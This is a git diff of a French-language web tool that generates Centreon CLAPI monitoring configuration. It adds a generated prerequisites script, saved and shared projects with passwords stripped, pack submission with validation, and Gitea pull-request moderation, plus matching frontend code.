@@ -244,14 +244,62 @@ def render_shell(plan: Plan, ops: list[Op], title: str, apply_config: bool) -> s
return "\n".join(lines)
def render_prerequis(plan: Plan) -> str:
"""Fichier separe : ce qui s'installe sur le collecteur, jamais du CLAPI."""
prerequis = plan.project.prerequis
lignes = [
"#!/usr/bin/env bash",
"#",
f"# Prerequis des sondes - {plan.project.name}",
"# Genere par Enclume. A RELIRE AVANT EXECUTION.",
"#",
"# Ce fichier n'est pas du CLAPI : il s'execute sur le collecteur qui",
"# porte les plugins, pas sur le serveur central. Les commandes sont",
"# commentees par distribution ; decommentez celle qui vous concerne.",
"#",
"set -euo pipefail",
"",
]
if prerequis.paquets_debian:
lignes += [
"# Debian et Ubuntu",
"# apt-get update",
"# apt-get install -y " + " ".join(prerequis.paquets_debian),
"",
]
if prerequis.paquets_rhel:
lignes += [
"# RHEL, Alma, Rocky",
"# dnf install -y " + " ".join(prerequis.paquets_rhel),
"",
]
if prerequis.notes:
lignes += ["# Notes de l'auteur du pack :"]
lignes += [f"# {ligne}" for ligne in prerequis.notes.splitlines()]
lignes += [""]
if prerequis.verifications:
lignes += ["# Verifications, sans effet de bord :"]
for verification in prerequis.verifications:
lignes.append(verification)
lignes.append("")
lignes += ['echo "Prerequis passes en revue."', ""]
return "\n".join(lignes)
def render_bundle(plan: Plan) -> dict[str, str]:
apply_config = bool(plan.project.apply_config)
return {
fichiers = {
"deploy.clapi": render_import(plan, plan.ops, "Deploiement CLAPI"),
"deploy.sh": render_shell(plan, plan.ops, "Deploiement CLAPI", apply_config),
"rollback.clapi": render_import(plan, plan.rollback_ops, "Suppression des objets"),
"rollback.sh": render_shell(plan, plan.rollback_ops, "Suppression des objets", apply_config),
}
if not plan.project.prerequis.vide:
fichiers["prerequis.sh"] = render_prerequis(plan)
return fichiers
def generate(raw_project: dict[str, Any]) -> dict[str, Any]:
+99
View File
@@ -0,0 +1,99 @@
"""Publication d'un pack accepte, sous forme de pull request Gitea.
Choix volontaire : la moderation n'ecrit jamais directement sur la branche
principale. Elle ouvre une demande, que tu relis dans Gitea avant de fusionner.
Git reste la source de verite du catalogue, et une acceptation par erreur dans
l'interface reste rattrapable en un clic.
"""
from __future__ import annotations
import base64
import json
import re
import urllib.error
import urllib.request
from .config import Config
TIMEOUT = 15
class ErreurGitea(RuntimeError):
pass
def _appel(methode: str, chemin: str, corps: dict | None = None) -> dict:
url = f"{Config.GITEA_URL}/api/v1{chemin}"
donnees = json.dumps(corps).encode("utf-8") if corps is not None else None
requete = urllib.request.Request(url, data=donnees, method=methode)
requete.add_header("Authorization", f"token {Config.GITEA_TOKEN}")
requete.add_header("Content-Type", "application/json")
requete.add_header("Accept", "application/json")
try:
with urllib.request.urlopen(requete, timeout=TIMEOUT) as reponse:
charge = reponse.read().decode("utf-8")
return json.loads(charge) if charge else {}
except urllib.error.HTTPError as erreur:
detail = erreur.read().decode("utf-8", "replace")[:500]
raise ErreurGitea(f"{methode} {chemin} : HTTP {erreur.code} — {detail}") from erreur
except urllib.error.URLError as erreur:
raise ErreurGitea(f"{methode} {chemin} : {erreur.reason}") from erreur
def _nom_de_branche(pack_id: str, soumission_id: int) -> str:
base = re.sub(r"[^a-z0-9-]+", "-", pack_id.lower()).strip("-") or "pack"
return f"pack/{base}-{soumission_id}"
def ouvrir_demande(soumission, auteur: str) -> str:
"""Cree la branche, y depose le pack, ouvre la pull request. Rend son URL."""
if not Config.gitea_actif():
raise ErreurGitea("publication Gitea non configuree")
proprietaire = Config.GITEA_PROPRIETAIRE
depot = Config.GITEA_DEPOT
branche = _nom_de_branche(soumission.pack_id, soumission.id)
chemin = f"{Config.GITEA_SOUS_DOSSIER}/{soumission.categorie}/{soumission.pack_id}.yml"
# Un seul appel cree la branche et le fichier : new_branch part de branch.
_appel(
"POST",
f"/repos/{proprietaire}/{depot}/contents/{chemin}",
{
"content": base64.b64encode(soumission.contenu.encode("utf-8")).decode("ascii"),
"message": f"Ajout du pack {soumission.pack_id} ({soumission.categorie})",
"branch": Config.GITEA_BRANCHE,
"new_branch": branche,
},
)
corps = [
f"Pack **{soumission.nom or soumission.pack_id}** propose depuis Enclume.",
"",
f"- identifiant : `{soumission.pack_id}`",
f"- categorie : `{soumission.categorie}`",
f"- auteur : {auteur}",
f"- soumission : #{soumission.id}",
]
if soumission.message:
corps += ["", "Message de l'auteur :", "", f"> {soumission.message.strip()}"]
corps += [
"",
"---",
"Contribution externe : relire la ligne de commande, les macros et les "
"eventuels prerequis avant de fusionner.",
]
demande = _appel(
"POST",
f"/repos/{proprietaire}/{depot}/pulls",
{
"head": branche,
"base": Config.GITEA_BRANCHE,
"title": f"Pack {soumission.pack_id}",
"body": "\n".join(corps),
},
)
return str(demande.get("html_url") or "")
+85 -7
View File
@@ -10,21 +10,43 @@ qu'on exporte, ce qu'on partage et ce que la CI rejoue.
from __future__ import annotations
import re
from dataclasses import asdict, dataclass, field
from typing import Any
SCHEMA_VERSION = 1
# Versions de Centreon proposees dans l'editeur et ce qu'elles impliquent.
# Centreon nomme ses versions par annee et saison de livraison : XX.04 au
# printemps, XX.10 a l'automne. Les versions des annees paires sont supportees
# trois ans (LTS) depuis la 24.10, celles des annees impaires dix-huit mois.
CENTREON_VERSIONS: dict[str, dict[str, Any]] = {
"24.x": {"label": "Centreon 24.x", "macro_fields": 5},
"23.x": {"label": "Centreon 23.x", "macro_fields": 5},
"22.x": {"label": "Centreon 22.x", "macro_fields": 5},
"21.x": {"label": "Centreon 21.x", "macro_fields": 5},
"25.10": {"label": "Centreon 25.10", "macro_fields": 5},
"25.04": {"label": "Centreon 25.04", "macro_fields": 5},
"24.10": {"label": "Centreon 24.10 (LTS)", "macro_fields": 5},
"24.04": {"label": "Centreon 24.04", "macro_fields": 5},
"23.10": {"label": "Centreon 23.10", "macro_fields": 5},
"23.04": {"label": "Centreon 23.04", "macro_fields": 5},
"22.10": {"label": "Centreon 22.10", "macro_fields": 5},
"22.04": {"label": "Centreon 22.04", "macro_fields": 5},
"21.10": {"label": "Centreon 21.10", "macro_fields": 5},
"21.04": {"label": "Centreon 21.04", "macro_fields": 5},
"20.10": {"label": "Centreon 20.10", "macro_fields": 5},
"20.04": {"label": "Centreon 20.04", "macro_fields": 5},
"legacy": {"label": "Centreon anterieur a 20.04", "macro_fields": 3},
}
VERSION_PAR_DEFAUT = "25.10"
# Les premieres versions d'Enclume proposaient des familles ("24.x") plutot que
# des versions reelles. Les projets enregistres a cette epoque restent lisibles.
VERSIONS_HISTORIQUES = {
"24.x": "24.10",
"23.x": "23.10",
"22.x": "22.10",
"21.x": "21.10",
}
COMMAND_TYPES = {"check": "Controle", "notif": "Notification", "misc": "Divers", "discovery": "Decouverte"}
FORBIDDEN = ";"
@@ -157,10 +179,58 @@ class Host:
)
@dataclass
class Prerequis:
"""Ce qu'il faut installer sur le collecteur pour que les sondes tournent.
Volontairement separe du CLAPI : ces commandes s'executent sur un serveur,
elles ne doivent jamais etre melangees au code de configuration ni jouees
sans relecture.
"""
paquets_debian: list[str] = field(default_factory=list)
paquets_rhel: list[str] = field(default_factory=list)
verifications: list[str] = field(default_factory=list)
notes: str = ""
@property
def vide(self) -> bool:
return not (self.paquets_debian or self.paquets_rhel or self.verifications or self.notes)
@classmethod
def from_dict(cls, raw: dict[str, Any] | None) -> "Prerequis":
raw = raw or {}
paquets = raw.get("paquets") or {}
return cls(
paquets_debian=[_clean(p) for p in paquets.get("debian") or [] if _clean(p)],
paquets_rhel=[_clean(p) for p in paquets.get("rhel") or [] if _clean(p)],
verifications=[_clean(v) for v in raw.get("verifications") or [] if _clean(v)],
notes=str(raw.get("notes") or "").strip(),
)
def fusionner(self, autre: "Prerequis") -> None:
for source, cible in (
(autre.paquets_debian, self.paquets_debian),
(autre.paquets_rhel, self.paquets_rhel),
(autre.verifications, self.verifications),
):
for valeur in source:
if valeur not in cible:
cible.append(valeur)
if autre.notes and autre.notes not in self.notes:
self.notes = f"{self.notes}\n\n{autre.notes}".strip()
# Un nom de paquet reste un nom de paquet : ni espace, ni separateur de
# commande. Le fichier genere est relu par un humain, mais autant qu'aucune
# soumission ne puisse y glisser autre chose.
MOTIF_PAQUET = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]{0,80}$")
@dataclass
class Project:
name: str = "Nouveau projet"
centreon_version: str = "24.x"
centreon_version: str = VERSION_PAR_DEFAUT
prefix: str = ""
plugins_dir: str = "/usr/lib/centreon/plugins"
poller: str = "Central"
@@ -169,6 +239,7 @@ class Project:
service_templates: list[ServiceTemplate] = field(default_factory=list)
host_templates: list[HostTemplate] = field(default_factory=list)
hosts: list[Host] = field(default_factory=list)
prerequis: Prerequis = field(default_factory=Prerequis)
schema: int = SCHEMA_VERSION
@property
@@ -178,9 +249,10 @@ class Project:
@classmethod
def from_dict(cls, raw: dict[str, Any] | None) -> "Project":
raw = raw or {}
version = _clean(raw.get("centreon_version")) or "24.x"
version = _clean(raw.get("centreon_version")) or VERSION_PAR_DEFAUT
version = VERSIONS_HISTORIQUES.get(version, version)
if version not in CENTREON_VERSIONS:
version = "24.x"
version = VERSION_PAR_DEFAUT
return cls(
name=_clean(raw.get("name")) or "Nouveau projet",
centreon_version=version,
@@ -192,6 +264,7 @@ class Project:
service_templates=[ServiceTemplate.from_dict(s) for s in raw.get("service_templates") or []],
host_templates=[HostTemplate.from_dict(h) for h in raw.get("host_templates") or []],
hosts=[Host.from_dict(h) for h in raw.get("hosts") or []],
prerequis=Prerequis.from_dict(raw.get("prerequis")),
)
def to_dict(self) -> dict[str, Any]:
@@ -214,6 +287,7 @@ class Project:
add(self.service_templates, other.service_templates, "Modele de service")
add(self.host_templates, other.host_templates, "Modele d'hote")
add(self.hosts, other.hosts, "Hote")
self.prerequis.fusionner(other.prerequis)
return skipped
@@ -290,6 +364,10 @@ def validate(project: Project) -> list[dict[str, str]]:
warn(f"Hote {host.name} : modele d'hote inconnu, {template}")
_check_macros(host.macros, f"Hote {host.name}", issues)
for paquet in (*project.prerequis.paquets_debian, *project.prerequis.paquets_rhel):
if not MOTIF_PAQUET.match(paquet):
error(f"Prerequis : nom de paquet invalide, {paquet}")
if not project.commands and not project.service_templates and not project.host_templates:
warn("Le projet est vide.")
+2 -1
View File
@@ -7,7 +7,7 @@ le projet de l'utilisateur, qui les modifie ensuite librement.
from __future__ import annotations
from .catalog import Pack
from .model import Command, HostTemplate, Macro, Project, ServiceTemplate
from .model import Command, HostTemplate, Macro, Prerequis, Project, ServiceTemplate
def _macro(macro) -> Macro:
@@ -23,6 +23,7 @@ def pack_to_project(pack: Pack, only_defaults: bool = True, service_parent: str
"""Construit un projet ne contenant que les objets du pack."""
project = Project(name=pack.name)
project.prerequis = Prerequis.from_dict(pack.prerequis)
project.commands = []
project.service_templates = []
+350
View File
@@ -0,0 +1,350 @@
"""Routes des chantiers 3 a 5 : projets enregistres, partage, soumissions.
Deux regles traversent tout ce fichier.
1. Aucun mot de passe ne franchit la porte du stockage. Tout projet ecrit en
base — enregistrement, partage, soumission — passe d'abord par
strip_secrets. Un site public n'a aucune raison de detenir le mot de passe
MySQL de qui que ce soit.
2. Rien ne s'execute. Une soumission est du texte, relu par un humain dans une
pull request avant d'atteindre le catalogue.
"""
from __future__ import annotations
import json
import re
from datetime import timezone
import yaml
from flask import Blueprint, jsonify, request
from .auth import administration_requise, connexion_requise, utilisateur_courant
from .catalog import CATEGORIES, Pack
from .config import Config
from .db import (
Partage,
Projet,
Soumission,
compter_soumissions_du_jour,
db,
maintenant,
purger_partages_expires,
)
from .gitea import ErreurGitea, ouvrir_demande
from .model import Project, strip_secrets
bp = Blueprint("donnees", __name__)
MOTIF_PACK_ID = re.compile(r"^[a-z0-9][a-z0-9-]{2,63}$")
def _projet_sans_secrets(brut: dict) -> Project:
return strip_secrets(Project.from_dict(brut))
def _corps() -> dict:
return request.get_json(force=True, silent=True) or {}
# --------------------------------------------------------------------------- #
# Chantier 3 — projets enregistres
# --------------------------------------------------------------------------- #
@bp.get("/api/projets")
@connexion_requise
def lister_projets():
utilisateur = utilisateur_courant()
projets = (
db.session.query(Projet)
.filter_by(utilisateur_id=utilisateur.id)
.order_by(Projet.maj_le.desc())
.all()
)
return jsonify([p.resume() for p in projets])
@bp.post("/api/projets")
@connexion_requise
def enregistrer_projet():
utilisateur = utilisateur_courant()
corps = _corps()
projet = _projet_sans_secrets(corps.get("project") or {})
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
if len(contenu) > Config.TAILLE_MAX_PROJET:
return jsonify({"erreur": "projet trop volumineux"}), 413
identifiant = corps.get("id")
if identifiant:
enregistrement = db.session.get(Projet, int(identifiant))
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
return jsonify({"erreur": "projet introuvable"}), 404
else:
nombre = db.session.query(Projet).filter_by(utilisateur_id=utilisateur.id).count()
if nombre >= Config.PROJETS_PAR_COMPTE:
return jsonify({"erreur": f"limite de {Config.PROJETS_PAR_COMPTE} projets atteinte"}), 409
enregistrement = Projet(utilisateur_id=utilisateur.id)
db.session.add(enregistrement)
enregistrement.nom = projet.name[:255] or "Projet sans nom"
enregistrement.contenu = contenu
db.session.commit()
return jsonify(enregistrement.resume())
@bp.get("/api/projets/<int:identifiant>")
@connexion_requise
def ouvrir_projet(identifiant: int):
utilisateur = utilisateur_courant()
enregistrement = db.session.get(Projet, identifiant)
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
return jsonify({"erreur": "projet introuvable"}), 404
return jsonify({"id": enregistrement.id, "project": json.loads(enregistrement.contenu)})
@bp.delete("/api/projets/<int:identifiant>")
@connexion_requise
def supprimer_projet(identifiant: int):
utilisateur = utilisateur_courant()
enregistrement = db.session.get(Projet, identifiant)
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
return jsonify({"erreur": "projet introuvable"}), 404
db.session.delete(enregistrement)
db.session.commit()
return jsonify({"statut": "supprime"})
# --------------------------------------------------------------------------- #
# Chantier 3 — partage par lien
# --------------------------------------------------------------------------- #
@bp.post("/api/partages")
def creer_partage():
if not Config.base_active():
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
projet = _projet_sans_secrets(_corps().get("project") or {})
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
if len(contenu) > Config.TAILLE_MAX_PROJET:
return jsonify({"erreur": "projet trop volumineux"}), 413
purger_partages_expires()
utilisateur = utilisateur_courant()
partage = Partage.creer(
contenu=contenu,
nom=projet.name,
jours=Config.PARTAGE_JOURS,
utilisateur_id=utilisateur.id if utilisateur else None,
)
db.session.add(partage)
db.session.commit()
base = Config.URL_PUBLIQUE or request.url_root.rstrip("/")
expire = partage.expire_le
return jsonify(
{
"id": partage.id,
"url": f"{base}/p/{partage.id}",
"expire_le": expire.replace(tzinfo=expire.tzinfo or timezone.utc).isoformat(),
"avertissement": "Les macros de type mot de passe ont ete videes avant l'enregistrement.",
}
)
@bp.get("/api/partages/<identifiant>")
def lire_partage(identifiant: str):
if not Config.base_active():
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
partage = db.session.get(Partage, identifiant)
if partage is None or partage.expire:
return jsonify({"erreur": "ce lien n'existe pas ou a expire"}), 404
partage.vues += 1
db.session.commit()
return jsonify({"project": json.loads(partage.contenu)})
# --------------------------------------------------------------------------- #
# Chantier 5 — soumission de packs
# --------------------------------------------------------------------------- #
def valider_pack(texte: str) -> tuple[dict | None, list[str]]:
"""Verifie qu'un YAML soumis est un pack exploitable. Ne l'execute jamais."""
problemes: list[str] = []
if len(texte.encode("utf-8")) > Config.TAILLE_MAX_PACK:
return None, ["Le fichier depasse la taille autorisee."]
try:
brut = yaml.safe_load(texte)
except yaml.YAMLError as erreur:
return None, [f"YAML illisible : {erreur}"]
if not isinstance(brut, dict):
return None, ["Le fichier doit contenir un pack, sous forme de dictionnaire."]
identifiant = str(brut.get("id") or "").strip()
if not MOTIF_PACK_ID.match(identifiant):
problemes.append(
"L'identifiant doit faire 3 a 64 caracteres, en minuscules, chiffres et tirets."
)
categorie = str(brut.get("category") or "").strip()
if categorie not in CATEGORIES:
problemes.append(f"Categorie inconnue : {categorie or '(vide)'}")
try:
pack = Pack.from_dict(brut)
except Exception as erreur: # noqa: BLE001 - message rendu tel quel au contributeur
return None, problemes + [f"Structure invalide : {erreur}"]
if not pack.services:
problemes.append("Le pack ne declare aucune sonde.")
for service in pack.services:
if ";" in service.line:
problemes.append(f"Sonde {service.name} : le point-virgule est le separateur CLAPI.")
if "$CENTREONPLUGINS$" not in service.line and "$USER1$" not in service.line:
problemes.append(
f"Sonde {service.name} : la ligne doit commencer par $CENTREONPLUGINS$ ou $USER1$."
)
from .model import MOTIF_PAQUET, Prerequis
prerequis = Prerequis.from_dict(pack.prerequis)
for paquet in (*prerequis.paquets_debian, *prerequis.paquets_rhel):
if not MOTIF_PAQUET.match(paquet):
problemes.append(f"Prerequis : nom de paquet invalide, {paquet}")
if problemes:
return None, problemes
return brut, []
@bp.post("/api/soumissions/verifier")
@connexion_requise
def verifier_soumission():
brut, problemes = valider_pack(str(_corps().get("yaml") or ""))
if problemes:
return jsonify({"valide": False, "problemes": problemes}), 200
pack = Pack.from_dict(brut)
return jsonify(
{
"valide": True,
"pack": {
"id": pack.id,
"nom": pack.name,
"categorie": pack.category,
"sondes": len(pack.services),
"modele_hote": pack.host_template.name,
},
}
)
@bp.post("/api/soumissions")
@connexion_requise
def soumettre():
utilisateur = utilisateur_courant()
if compter_soumissions_du_jour(utilisateur.id) >= Config.SOUMISSIONS_PAR_JOUR:
return jsonify({"erreur": "limite de soumissions atteinte pour aujourd'hui"}), 429
corps = _corps()
texte = str(corps.get("yaml") or "")
brut, problemes = valider_pack(texte)
if problemes:
return jsonify({"erreur": "pack invalide", "problemes": problemes}), 400
pack = Pack.from_dict(brut)
soumission = Soumission(
utilisateur_id=utilisateur.id,
pack_id=pack.id,
categorie=pack.category,
nom=pack.name,
contenu=texte,
message=str(corps.get("message") or "")[:2000],
)
db.session.add(soumission)
db.session.commit()
return jsonify(soumission.resume())
@bp.get("/api/soumissions")
@connexion_requise
def mes_soumissions():
utilisateur = utilisateur_courant()
soumissions = (
db.session.query(Soumission)
.filter_by(utilisateur_id=utilisateur.id)
.order_by(Soumission.cree_le.desc())
.limit(50)
.all()
)
return jsonify([s.resume() for s in soumissions])
# --------------------------------------------------------------------------- #
# Chantier 5 — moderation
# --------------------------------------------------------------------------- #
@bp.get("/api/moderation/soumissions")
@administration_requise
def moderation_lister():
statut = request.args.get("statut", Soumission.EN_ATTENTE)
requete = db.session.query(Soumission).order_by(Soumission.cree_le.asc())
if statut != "toutes":
requete = requete.filter_by(statut=statut)
return jsonify([s.resume(avec_auteur=True) for s in requete.limit(200).all()])
@bp.get("/api/moderation/soumissions/<int:identifiant>")
@administration_requise
def moderation_detail(identifiant: int):
soumission = db.session.get(Soumission, identifiant)
if soumission is None:
return jsonify({"erreur": "soumission introuvable"}), 404
donnees = soumission.resume(avec_auteur=True)
donnees["contenu"] = soumission.contenu
return jsonify(donnees)
@bp.post("/api/moderation/soumissions/<int:identifiant>/publier")
@administration_requise
def moderation_publier(identifiant: int):
soumission = db.session.get(Soumission, identifiant)
if soumission is None:
return jsonify({"erreur": "soumission introuvable"}), 404
if soumission.statut != Soumission.EN_ATTENTE:
return jsonify({"erreur": "soumission deja traitee"}), 409
if not Config.gitea_actif():
return jsonify({"erreur": "publication Gitea non configuree"}), 503
# Revalidation au moment de publier : le contenu a pu etre juge valide il y
# a trois semaines, sous une version anterieure des regles.
_, problemes = valider_pack(soumission.contenu)
if problemes:
return jsonify({"erreur": "le pack n'est plus valide", "problemes": problemes}), 400
try:
url = ouvrir_demande(soumission, soumission.auteur.affichage if soumission.auteur else "inconnu")
except ErreurGitea as erreur:
return jsonify({"erreur": str(erreur)}), 502
soumission.statut = Soumission.PUBLIEE
soumission.url_pr = url
soumission.traite_le = maintenant()
db.session.commit()
return jsonify(soumission.resume(avec_auteur=True))
@bp.post("/api/moderation/soumissions/<int:identifiant>/refuser")
@administration_requise
def moderation_refuser(identifiant: int):
soumission = db.session.get(Soumission, identifiant)
if soumission is None:
return jsonify({"erreur": "soumission introuvable"}), 404
if soumission.statut != Soumission.EN_ATTENTE:
return jsonify({"erreur": "soumission deja traitee"}), 409
soumission.statut = Soumission.REFUSEE
soumission.reponse = str(_corps().get("motif") or "")[:2000]
soumission.traite_le = maintenant()
db.session.commit()
return jsonify(soumission.resume(avec_auteur=True))
+215 -2
View File
@@ -16,7 +16,7 @@ var packsCache = null;
function projetVide() {
return {
name: 'Nouveau projet',
centreon_version: '24.x',
centreon_version: '25.10',
prefix: '',
plugins_dir: '/usr/lib/centreon/plugins',
poller: 'Central',
@@ -24,7 +24,8 @@ function projetVide() {
commands: [],
service_templates: [],
host_templates: [],
hosts: []
hosts: [],
prerequis: { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' }
};
}
@@ -201,6 +202,16 @@ function rendreReglages(main) {
main.appendChild(grille);
main.appendChild(caseACocher("Ajouter APPLYCFG a la fin des scripts", projet, 'apply_config'));
main.appendChild(sousTitre('Prerequis des sondes',
"Ce qui doit etre installe sur le collecteur ; genere un fichier distinct du CLAPI."));
var pre = elt('div', { className: 'prerequis' });
if (!projet.prerequis) projet.prerequis = { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' };
pre.appendChild(champListe('Paquets Debian et Ubuntu', projet.prerequis, 'paquets_debian'));
pre.appendChild(champListe('Paquets RHEL, Alma, Rocky', projet.prerequis, 'paquets_rhel'));
main.appendChild(pre);
main.appendChild(champZone('Notes a l\'attention de l\'installateur', projet.prerequis, 'notes'));
main.appendChild(champListe('Commandes de verification', projet.prerequis, 'verifications'));
var info = elt('div', { className: 'notice' });
info.appendChild(elt('p', {
textContent: 'Le projet est conserve dans ce navigateur uniquement. Rien n\u2019est envoye au serveur ' +
@@ -742,3 +753,205 @@ document.addEventListener('keydown', function (e) {
});
rendre();
// ==========================================================================
// Chantiers 3 a 5 : partage, projets enregistres, soumission de packs.
// Tout ce bloc est inerte si le serveur n'annonce pas la fonctionnalite.
// ==========================================================================
var CONTEXTE = (function () {
var noeud = document.getElementById('donnees-contexte');
try { return noeud ? JSON.parse(noeud.textContent) : {}; } catch (e) { return {}; }
})();
var FONCTIONS = CONTEXTE.fonctions || {};
function appelJSON(url, options) {
options = options || {};
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
return fetch(url, options).then(function (reponse) {
return reponse.json().catch(function () { return {}; }).then(function (corps) {
if (!reponse.ok) throw new Error(corps.erreur || 'echec de la requete');
return corps;
});
});
}
function brancher(id, action) {
var bouton = document.getElementById(id);
if (bouton) bouton.addEventListener('click', action);
}
// --------------------------------------------------------------- partage
brancher('btn-partager', function () {
appelJSON('/api/partages', { method: 'POST', body: JSON.stringify({ project: projet }) })
.then(function (donnees) {
ouvrirModale('Lien de partage', function (corps) {
corps.appendChild(elt('p', {
className: 'lede',
textContent: 'Toute personne disposant de ce lien peut ouvrir une copie de ce projet. ' +
donnees.avertissement
}));
var champ = elt('input', { type: 'text', value: donnees.url, readOnly: true });
corps.appendChild(champ);
champ.focus(); champ.select();
var barre = elt('div', { className: 'barre' });
barre.appendChild(elt('button', {
type: 'button', textContent: 'Copier le lien',
onclick: function () {
champ.select();
if (navigator.clipboard) navigator.clipboard.writeText(donnees.url);
else document.execCommand('copy');
etat('Lien copie');
}
}));
corps.appendChild(barre);
corps.appendChild(elt('small', { textContent: 'Ce lien expire le ' + (donnees.expire_le || '').slice(0, 10) + '.' }));
});
})
.catch(function (erreur) { alert('Partage impossible : ' + erreur.message); });
});
// Ouverture d'un projet partage : la page /p/<id> passe l'identifiant.
if (CONTEXTE.partage) {
appelJSON('/api/partages/' + encodeURIComponent(CONTEXTE.partage))
.then(function (donnees) {
var vide = projetVide();
Object.keys(vide).forEach(function (k) {
if (donnees.project[k] === undefined) donnees.project[k] = vide[k];
});
projet = donnees.project;
selection = { type: 'reglages', index: 0 };
sauver(); rendre();
etat('Projet partage ouvert');
})
.catch(function () { alert("Ce lien de partage n'existe pas ou a expire."); });
}
// ----------------------------------------------------- projets en ligne
brancher('btn-serveur-enregistrer', function () {
appelJSON('/api/projets', {
method: 'POST',
body: JSON.stringify({ project: projet, id: projet.__id_serveur || null })
}).then(function (donnees) {
projet.__id_serveur = donnees.id;
sauver();
etat('Projet enregistre en ligne');
}).catch(function (erreur) { alert('Enregistrement impossible : ' + erreur.message); });
});
brancher('btn-serveur-ouvrir', function () {
appelJSON('/api/projets').then(function (projets) {
ouvrirModale('Mes projets', function (corps) {
if (!projets.length) {
corps.appendChild(elt('p', { className: 'lede', textContent: 'Aucun projet enregistre pour le moment.' }));
return;
}
var liste = elt('div', { className: 'packs' });
projets.forEach(function (entree) {
var ligne = elt('div', { className: 'pack-ligne' });
var texte = elt('div');
texte.appendChild(elt('b', { textContent: entree.nom }));
texte.appendChild(elt('div', {
className: 'desc',
textContent: 'modifie le ' + (entree.maj_le || '').slice(0, 16).replace('T', ' a ')
}));
ligne.appendChild(texte);
var actions = elt('div', { className: 'barre' });
actions.appendChild(elt('button', {
type: 'button', className: 'small', textContent: 'Ouvrir',
onclick: function () {
appelJSON('/api/projets/' + entree.id).then(function (donnees) {
projet = donnees.project;
projet.__id_serveur = donnees.id;
selection = { type: 'reglages', index: 0 };
fermerModale(); sauver(); rendre();
etat('Projet ouvert');
});
}
}));
actions.appendChild(elt('button', {
type: 'button', className: 'small danger', textContent: 'Supprimer',
onclick: function () {
if (!confirm('Supprimer ' + entree.nom + ' ?')) return;
appelJSON('/api/projets/' + entree.id, { method: 'DELETE' }).then(function () {
ligne.remove(); etat('Projet supprime');
});
}
}));
ligne.appendChild(actions);
liste.appendChild(ligne);
});
corps.appendChild(liste);
});
}).catch(function (erreur) { alert('Lecture impossible : ' + erreur.message); });
});
brancher('btn-deconnexion', function () {
fetch('/deconnexion', { method: 'POST' }).then(function () { window.location.reload(); });
});
// ------------------------------------------------------ soumission de pack
brancher('btn-soumettre', function () {
ouvrirModale('Proposer un pack au catalogue', function (corps) {
corps.appendChild(elt('p', {
className: 'lede',
textContent: "Collez le YAML de votre pack. Il sera verifie ici, puis relu dans une " +
'demande de fusion avant d\u2019entrer au catalogue. Rien n\u2019est execute par le site.'
}));
var zone = elt('textarea', { rows: 16, placeholder: 'id: app-rabbitmq\nname: RabbitMQ\ncategory: application\n...' });
corps.appendChild(zone);
var mot = elt('input', { type: 'text', placeholder: 'Un mot pour le relecteur (facultatif)' });
corps.appendChild(mot);
var retour = elt('div');
corps.appendChild(retour);
var barre = elt('div', { className: 'barre' });
var envoi = elt('button', { type: 'button', className: 'primary auto', textContent: 'Soumettre', disabled: true });
barre.appendChild(elt('button', {
type: 'button', textContent: 'Verifier',
onclick: function () {
appelJSON('/api/soumissions/verifier', {
method: 'POST', body: JSON.stringify({ yaml: zone.value })
}).then(function (donnees) {
retour.innerHTML = '';
if (donnees.valide) {
var note = elt('div', { className: 'notice' });
note.appendChild(elt('b', { textContent: 'Pack valide' }));
note.appendChild(elt('p', {
textContent: donnees.pack.nom + ' — ' + donnees.pack.sondes + ' sonde(s), modele ' + donnees.pack.modele_hote
}));
retour.appendChild(note);
envoi.disabled = false;
} else {
var mauvais = elt('div', { className: 'notice bad' });
mauvais.appendChild(elt('b', { textContent: 'A corriger' }));
var ul = elt('ul');
donnees.problemes.forEach(function (p) { ul.appendChild(elt('li', { textContent: p })); });
mauvais.appendChild(ul);
retour.appendChild(mauvais);
envoi.disabled = true;
}
}).catch(function (erreur) { alert(erreur.message); });
}
}));
envoi.addEventListener('click', function () {
appelJSON('/api/soumissions', {
method: 'POST', body: JSON.stringify({ yaml: zone.value, message: mot.value })
}).then(function () {
fermerModale();
etat('Pack soumis, en attente de relecture');
}).catch(function (erreur) { alert('Soumission refusee : ' + erreur.message); });
});
barre.appendChild(envoi);
corps.appendChild(barre);
});
});
+30
View File
@@ -63,6 +63,7 @@ small { color: var(--ink-dim); font-size: 12px; display: block; margin-top: 4px;
font-size: 14px;
font-weight: 600;
}
.toolbar select { width: auto; min-width: 210px; flex: 0 0 auto; }
.toolbar .sep { width: 1px; height: 22px; background: var(--line); margin: 0 4px; }
.toolbar .grow { flex: 1; text-align: right; color: var(--ok); font-size: 12.5px; }
@@ -364,3 +365,32 @@ pre.code {
.pied .grow { flex: 1; }
.pied a { color: var(--ink-dim); }
.pied a:hover { color: var(--accent); }
/* -------------------------------------------- comptes, partage, moderation */
.toolbar .compte { font-size: 12.5px; color: var(--ink-dim); }
.toolbar .compte a { margin-left: 6px; }
.toolbar a.btn { padding: 6px 11px; }
.wrap-moderation { max-width: 1000px; margin: 0 auto; padding: 22px 26px 60px; }
.moderation { display: flex; flex-direction: column; }
.moderation-detail {
margin-top: 22px;
border-top: 1px solid var(--line);
padding-top: 18px;
}
.moderation-detail h3 { margin-bottom: 10px; }
.moderation-detail pre.code { border-top: 1px solid var(--line); margin-top: 10px; }
#modal-corps textarea {
font-family: var(--mono);
font-size: 12px;
margin-bottom: 10px;
}
#modal-corps input[type="text"] { margin-bottom: 10px; }
#modal-corps .notice { margin: 12px 0 0; }
/* --------------------------------------------------------- prerequis */
.prerequis { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 4px 16px; }
.prerequis textarea { min-height: 90px; }
+117
View File
@@ -0,0 +1,117 @@
/* Moderation des soumissions de packs. */
'use strict';
var liste = document.getElementById('liste');
var detail = document.getElementById('detail');
var filtre = document.getElementById('filtre-statut');
function creer(tag, props) {
var noeud = document.createElement(tag);
Object.keys(props || {}).forEach(function (cle) {
if (cle === 'onclick') noeud.addEventListener('click', props[cle]);
else noeud[cle] = props[cle];
});
